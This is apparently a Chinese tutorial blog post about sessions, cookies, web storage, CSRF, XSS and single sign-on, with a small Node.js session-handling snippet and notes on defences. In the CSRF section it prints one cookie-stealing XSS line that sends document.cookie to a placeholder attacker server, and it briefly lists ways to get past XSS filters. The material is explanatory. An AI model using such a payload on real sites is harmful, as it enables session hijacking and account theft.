摘要:每次消費時,如果顧客出示這張卡片,則此次消費就會與以前或以后的消費相聯系起來。由于可以被人為的禁止,必須有其他機制以便在被禁止時仍然能夠把傳遞回服務器。
github 地址:戳這里
session 概念指一類用來在客戶端與服務器之間保持狀態的解決方案
這種解決方案的存儲結構
特點由于 Session 是以文本文件形式存儲在服務器端的,所以不怕客戶端修改 Session 內容。(也可以用其他存儲方式比如redis)
Session對象是有生命周期的
Session實例是輕量級的,所謂輕量級:是指他的創建和刪除不需要消耗太多資源
Session對象內部有一個緩存
用法Session 對象存儲特定用戶會話所需的屬性及配置信息,在web頁跳轉時,信息將不會丟失
通常用于以下操作存儲整個會話過程中保持用戶狀態的信息,比如登錄信息或者用戶瀏覽時產生的其它信息
存儲只需要在 頁重新加載 過程中,或者 一組功能頁 之間保持狀態的對象
在 Web服務器上保持用戶的 狀態信息 供在任何時間從任何設備上的頁面進行訪問。
限制用戶登錄越多,session需要的內存量越大
每個 Session 對象的持續時間是用戶訪問的時間加上不活動的時間。
為何需要sessionHTTP協議本身是無狀態的
舉個喝咖啡的例子:
1、該店的店員很厲害,能記住每位顧客的消費數量,只要顧客一走進咖啡店,店員就知道該怎么對待了。這種做法就是協議本身支持狀態。
2、發給顧客一張卡片,上面記錄著消費的數量,一般還有個有效期限。每次消費時,如果顧客出示這張卡片,則此次消費就會與以前或以后的消費相聯系起來。這種做法就是在客戶端保持狀態。
3、發給顧客一張會員卡,除了卡號之外什么信息也不紀錄,每次消費時,如果顧客出示該卡片,則店員在店里的紀錄本上找到這個卡號對應的紀錄添加一些消費信息。這種做法就是在服務器端保持狀態。
具體機制當程序需要為某個客戶端的請求創建一個session的時候,服務器首先檢查這個客戶端的請求里是否已包含了一個 session標識 - 稱為session id,如果已包含一個session id則說明以前已經為此客戶端創建過session,服務器就按照session id把這個session檢索出來使用(如果檢索不到,可能會新建一個),如果客戶端請求不包含session id,則為此客戶端創建一個session并且生成一個與此session相關聯的session id,session id的值應該是一個 既不會重復,又不容易被找到規律以仿造的字符串 ,這個session id將被在本次響應中返回給客戶端保存。
由于cookie可以被人為的禁止,必須有其他機制以便在cookie被禁止時仍然能夠把session id傳遞回服務器。經常被使用的一種技術叫做URL重寫
兩種形式:
// 作為url附加路徑 "http://..../xxx;jsessionid=abcdefjijeoijoifjioe" // 作為查詢字符串 "http://..../xxx?jsessionid=abcdefjijeoijoifjioe"
較老的技術,表單隱藏字段,此方法在防止csrf中有用
實現基于cookie來實現用戶和數據的映射
將口令放在cookie中,口令一旦被褚昂愛,就丟失映射關系。通常session的有效期通常短,過期就將數據刪除
一旦服務器檢查到用戶請求cookie中沒有攜帶session_id,它會為之生成一個值,這個值是唯一且不重復的值,并設定超時時間。如果過期就重新生成,如果沒有過期,就更新超時時間
var sessions = {}; var key = "session_id"; var EXPIRES = 20*60*1000; var generate = function () { var session = {}; session.id = (new Date().getTime()) + Math.random(); session.cookie = { expire: (new Date()).getTime() + EXPIRES } sessions[session.id] = session } function (req, res) { var id = req.cookies[key]; if (!id) { req.session = generate(); } else { var session = sessions[id]; if (session) { if (session.cookie.expire > new Date().getTime()) { session.cookie.expire = new Date().getTime() + EXPIRES; req.session = session; } else { delete sessions[id]; req.session = generate(); } } else { req.session = generate(); } } }一種節省空間的做法
由于關閉瀏覽器不會導致session被刪除,迫使服務器為seesion設置了一個失效時間,當距離客戶端上一次使用session的時間超過這個失效時間時,服務器就可以認為客戶端已經停止了活動,才會把session刪除以節省存儲空間
referencehttp://justsee.iteye.com/blog...
https://baike.baidu.com/item/...
https://blog.csdn.net/hjc1984...
cookie存儲在用戶本地終端的數據
http請求自動發送,跨域除外
用途客戶端記錄用戶信息
特點存儲在硬盤上的cookie可以在不同的瀏覽器進程間共享,比如兩個IE窗口。而對于保存在內存里的cookie,不同的瀏覽器有不同的處理方式。
屬性name:cookie名稱
value:cookie值
domain:可以訪問cookie的域名,某一級域名可以訪問上一級級域名的cookie
expires/Max-Age:過期時間
Size:cookie的大小
http:httponly屬性,為true,不能用document.cookie獲得
secure:為true只能在https獲得
path:子路徑訪問父路徑cookie
創建cookiedocument.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
讀取cookiedocument.cookie
修改cookiedocument.cookie =
采用覆蓋的形式
刪除cookie將過期時間設置為過去時間即可
與localStorage和sessionStorage的區別
存儲大小
cookie數據大小不能超過4k。
sessionStorage和localStorage 雖然也有存儲大小的限制,但比cookie大得多,可以達到5M或更大。
有效時間
localStorage 存儲持久數據,瀏覽器關閉后數據不丟失除非主動刪除數據;
sessionStorage 數據在當前瀏覽器窗口關閉后自動刪除。
cookie 設置的cookie過期時間之前一直有效,即使窗口或瀏覽器關閉
sessionStorage
會話級別的存儲
臨時性的,頁面打開有,頁面關閉沒有
數據不共享
通過a標簽來跳出一個頁面,則sessionStorage共享
localStorage
持久化的本地存儲
永久性的存儲
不能跨域
數據共享
cookie
cookie在同源且符合path規則的文檔之間共享
max-age用秒來設置cookie的生存期。
如果max-age為0,則表示刪除該cookie。
如果max-age為負數,則表示該cookie僅在本瀏覽器窗口以及本窗口打開的子窗口內有效,關閉窗口后該cookie即失效。
如何得到cookie有兩個http頭部是專門負責設置以及發送cookie的,它們分別是 Set-Cookie 以及 Cookie 。當服務器返回給客戶端一個http響應信息時,其中如果包含Set-Cookie這個頭部時,意思就是指示客戶端建立一個cookie,并且在后續的http請求中自動發送這個cookie到服務器端,直到這個cookie過期。如果cookie的生存時間是整個會話期間的話,那么瀏覽器會將cookie保存在內存中,瀏覽器關閉時就會自動清除這個cookie。另外一種情況就是保存在客戶端的硬盤中,瀏覽器關閉的話,該cookie也不會被清除,下次打開瀏覽器訪問對應網站時,這個cookie就會自動再次發送到服務器端。
cookie服務器端寫入//java的寫法 response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date); //php 中的寫法 setcookie(name,value,expire,path,domain,secure)reference
https://my.oschina.net/ososch...
https://blog.csdn.net/dong123...
csrf(跨站請求偽造) 過程用戶c打開瀏覽器,登錄網站a
登錄成功后,記錄登錄信息cookie
在網站a未退出的情況下,打開網站b
網站b在收到用戶請求后返回攻擊性代碼,獲取網站a的cookie,并發出請求a網站(注意:這兒是兩步)
網站a誤以為還是用戶c發出的請求
竊取cookie向被攻擊者的服務器頁面上注入一段javascript代碼(借助xss跨站腳本攻擊)
document.location="http://AttackerServer/getCookie.php?cookie="+document.cookie;防御
驗證http referer字段
在請求地址中添加token
系統開發者可以在HTTP請求中以參數的形式加入一個隨機產生的token,并在服務器端建立一個攔截器來驗證這個token,如果請求中沒有token或者token內容不正確,則認為可能是CSRF攻擊而拒絕該請求。
在HTTP頭中自定義屬性并驗證(不會被泄露)
referencehttp://www.freebuf.com/articl...
xss(跨站腳本攻擊) 分類反射型(非持久型)
那些瀏覽器每次都要在參數中提交惡意數據才能觸發的跨站腳本漏洞。
可以讓一個域名轉向到惡意URL,把那個域名發給用戶
存儲型(持久型)
指通過提交惡意數據到存儲器(比如數據庫、文本文件等),Web應用程序輸出的時候是從存儲器中讀出惡意數據輸出到頁面的一類跨站腳本漏洞。
常見攻擊方法繞過xss-filter
利用img
空格,回車,tab來繞過過濾
利用事件如:
css跨站:background-url
利用字符編碼
防御xss-filter,過濾標簽
2. httpOnly
將變量輸出到頁面時,要編碼
referencehttp://www.cnblogs.com/wqhwe/...
單系統登錄 http無狀態協議瀏覽器每次請求,服務器都多帶帶處理
要鑒別瀏覽器請求,又因為http是無狀態協議,所以需要服務器和瀏覽器共同維護一個狀態
會話機制瀏覽器第一次請求服務器,創建一個會話id,并由瀏覽器存儲,以后每次請求都帶上,服務器取得后可判斷是否是同一個用戶
單系統利用cookie
登錄狀態瀏覽器第一次請求服務器,需要驗證用戶名和密碼,通過與數據庫里的作比較,驗證通過將會話標記為“已授權”
以后每次請求都檢查登錄狀態
單點登錄(多系統登錄,single sign on,sso)用戶登錄注銷一次,就可以在多個系統中得到效果
由于多系統的域不一樣,所有cookie會受到限制,瀏覽器發送http請求時會自動攜帶與該域匹配的cookie,而不是所有cookie
如果將domain設置為頂級域名會有限制:
系統群域名得統一
各系統使用的技術要相同
cookie不安全
登錄相比于單系統登錄,sso多了一個認證中心,只有認證中心接受用戶名和密碼等安全信息,其他系統不提供登錄入口,只接受認證中心的間接授權。間接授權通過令牌實現,sso認證中心驗證用戶的用戶名密碼沒問題,創建授權令牌,在接下來的跳轉過程中,授權令牌作為參數發送給各個子系統,子系統拿到令牌,即得到了授權,可以借此創建局部會話,局部會話登錄方式與單系統的登錄方式相同。這個過程,也就是單點登錄的原理,用下圖說明
用戶登錄成功之后,會與sso認證中心及各個子系統建立會話,用戶與sso認證中心建立的會話稱為全局會話,用戶與各個子系統建立的會話稱為局部會話,局部會話建立之后,用戶訪問子系統受保護資源將不再通過sso認證中心
注銷 具體跳轉假設認證中心和系統2的url分別是:sso.com、system2.com ,訪問 system2.com 時因未登錄而跳轉到 sso.com ,跳轉地址:http://sso.com?service=http://system2.com(不需要額外信息),此時,就變成了瀏覽器與 http://sso.com 站點之間的會話,這個會話因為系統1登錄的原因已經被標記為已登錄,所以認證中心取一塊令牌,根據service參數回跳,并附上令牌,回跳地址:http://system2.com?token=token
如何驗證登錄信息
不同域之間
當登錄某一系統后,須跳轉到其它系統并設置cookie
nodejs實現302跳轉
同一域名不同站點
共享cookie
同一域,不同子域
存放sessionId的域都是上一級的
referencehttps://www.cnblogs.com/wxj-1...
http://www.cnblogs.com/ywlake...
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/95182.html
摘要:所謂的無連接就是服務器收到了客戶端的請求之后,響應完成并收到客戶端的應答之后,即斷開連接。從而節省傳輸時間。協議對事務的處理沒有記憶能力。這種方式某種方面上講解放了服務器,但是卻不利于客戶端與服務器的連接。 session與cookie是什么? session與cookie屬于一種會話控制技術.常用在身份識別,登錄驗證,數據傳輸等.舉個例子,就像我們去超市買東西結賬的時候,我們要拿出我...
摘要:要跟蹤該會話,必須引入一種機制。服務器檢查該,以此來辨認用戶狀態。提示中保存中文只能編碼。不推薦使用等中文編碼,因為瀏覽器不一定支持,而且也不支持編碼。這是由的隱私安全機制決定的。隱私安全機制能夠禁止網站非法獲取其他網站的。會話(Session)跟蹤是Web程序中常用的技術,用來跟蹤用戶的整個會話。常用的會話跟蹤技術是Cookie與Session。Cookie通過在客戶端記錄信息確定用戶身份...
摘要:服務器檢查該,以此來辨認用戶狀態。如果為,表示刪除該。防篡改簽名服務器為每個項生成簽名。服務端根據接收到的內容和簽名,校驗內容是否被篡改。算法得到的簽名和請求中數據的簽名不一致,則證明數據被篡改。 一、登錄認證機制 隨著互聯網的不斷發展,無論是網站還是app,一般都會要求用戶注冊/登錄。主要的登錄方式有賬戶密碼登錄、第三方登錄(微信登錄、QQ登錄、微博登錄等) 登錄可分為三個階段(登錄...
摘要:的作用就是為了解決協議無狀態的缺陷所作的努力。路徑與域一起構成的作用范圍。這種生命期為瀏覽器會話期的被稱為會話。而機制采用的是一種在服務器端保持狀態的解決方案。跨域名如今被普遍用在網絡中,例如等。僅在他所在的域名內有效。 前言 本文分別對Cookie與Session做一個介紹和總結,并分別對兩個知識點進行對比分析,讓大家對Cookie和Session有一個更深入的了解,并對自己的開發工...
閱讀 3403·2021-11-24 09:38
閱讀 3189·2021-11-22 09:34
閱讀 2098·2021-09-22 16:03
閱讀 2349·2019-08-29 18:37
閱讀 371·2019-08-29 16:15
閱讀 1761·2019-08-26 13:56
閱讀 853·2019-08-26 12:21
閱讀 2198·2019-08-26 12:15